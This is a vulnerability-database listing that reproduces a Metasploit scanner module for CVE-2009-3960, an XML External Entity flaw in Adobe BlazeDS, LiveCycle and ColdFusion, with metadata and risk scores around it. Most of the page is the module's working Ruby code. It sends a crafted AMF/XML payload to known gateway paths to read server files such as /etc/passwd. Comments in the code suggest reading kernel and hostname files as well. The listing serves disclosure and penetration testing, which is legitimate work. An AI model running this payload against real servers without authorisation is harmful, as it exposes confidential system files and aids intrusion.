Adobe XML External Entity Injection

🗓️ 01 Sep 2024 00:00:00Reported by Jay Turla, metasploit.comType

packetstorm🔗 packetstormsecurity.com👁 197 Views

Adobe XML External Entity Injection in multiple Adobe products including BlazeDS, LiveCycle, Flex Data Services, and ColdFusion. Allows reading files from the server.

Reporter	Title	Published	Views	Family All 30
0day.today	Adobe Products XML External Entity And XML Injection Vulnerabilities	22 Feb 201000:00	–	zdt
0day.today	Adobe Multiple Products - XML Injection File Content Disclosure Exploit	11 Apr 201700:00	–	zdt
Tenable Nessus	Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)	1 Mar 201000:00	–	nessus
ATTACKERKB	CVE-2009-3960	15 Feb 201000:00	–	attackerkb
Circl	CVE-2009-3960	22 Feb 201000:00	–	circl
CISA KEV Catalog	Adobe BlazeDS Information Disclosure Vulnerability	7 Mar 202200:00	–	cisa_kev
CISA	CISA Adds 11 Known Exploited Vulnerabilities to Catalog	7 Mar 202200:00	–	cisa
CISA	CISA and Partners Release Advisory on Ghost (Cring) Ransomware	19 Feb 202512:00	–	cisa
Check Point Advisories	Adobe BlazeDS XML Processing Information Disclosure (APSB10-05; CVE-2009-3960)	14 Feb 201000:00	–	checkpoint_advisories
CVE	CVE-2009-3960	15 Feb 201018:00	–	cve

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Adobe XML External Entity Injection',  
'Description' => %q{  
Multiple Adobe Products -- XML External Entity Injection. Affected Software: BlazeDS 3.2 and  
earlier versions, LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, and  
2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2  
},  
'References' =>  
[  
[ 'CVE', '2009-3960' ],  
[ 'OSVDB', '62292' ],  
[ 'BID', '38197' ],  
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf' ],  
[ 'URL', 'https://www.adobe.com/support/security/bulletins/apsb10-05.html'],  
],  
'Author' => [ 'CG' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(8400),  
OptString.new('FILE', [ true, "File to read", '/etc/passwd']),  
])  
end  
  
def run_host(ip)  
path = [  
"/flex2gateway/",  
"/flex2gateway/http", # ColdFusion 9 (disabled by default), works on some CF 8 though :-)  
"/flex2gateway/httpsecure", # ColdFusion 9 (disabled by default) SSL  
"/flex2gateway/cfamfpolling",  
"/flex2gateway/amf",  
"/flex2gateway/amfpolling",  
"/messagebroker/http",  
"/messagebroker/httpsecure", #SSL  
"/blazeds/messagebroker/http", # Blazeds 3.2  
"/blazeds/messagebroker/httpsecure", #SSL  
"/samples/messagebroker/http", # Blazeds 3.2  
"/samples/messagebroker/httpsecure", # Blazeds 3.2 SSL  
"/lcds/messagebroker/http", # LCDS  
"/lcds/messagebroker/httpsecure", # LCDS -- SSL  
"/lcds-samples/messagebroker/http", # LCDS  
"/lcds-samples/messagebroker/httpsecure", # LCDS -- SSL  
]  
  
postrequest = "<\?xml version=\"1.0\" encoding=\"utf-8\"\?>"  
postrequest << "<\!DOCTYPE test [ <\!ENTITY x3 SYSTEM \"#{datastore['FILE']}\"> ]>"  
postrequest << "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">"  
postrequest << "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>"  
postrequest << "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>"  
postrequest << "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>"  
postrequest << "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>"  
postrequest << "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>"  
postrequest << "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>"  
  
path.each do | check |  
  
res = send_request_cgi({  
'uri' => check,  
'method' => 'POST',  
'version' => '1.1',  
'Content-Type' => 'application/x-amf',  
'data' => postrequest  
}, 25)  
  
if (res.nil?)  
print_error("no response for #{ip}:#{rport} #{check}")  
elsif (res.code == 200 and res.body =~ /\<\?xml version\="1.0" encoding="utf-8"\?\>/)  
print_status("#{rhost}:#{rport} #{check} #{res.code}\n #{res.body}")  
elsif (res and res.code == 302 or res.code == 301)  
print_status(" Received 302 to #{res.headers['Location']} for #{check}")  
else  
print_error("#{res.code} for #{check}")  
#''  
end  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e  
print_error(e.message)  
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e  
print_error(e.message)  
end  
end  
  
#set FILE /proc/sys/kernel/osrelease  
#set FILE /proc/sys/kernel/hostname  
`

01 Sep 2024 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 24.3

CVSS 3.16.5

EPSS0.90428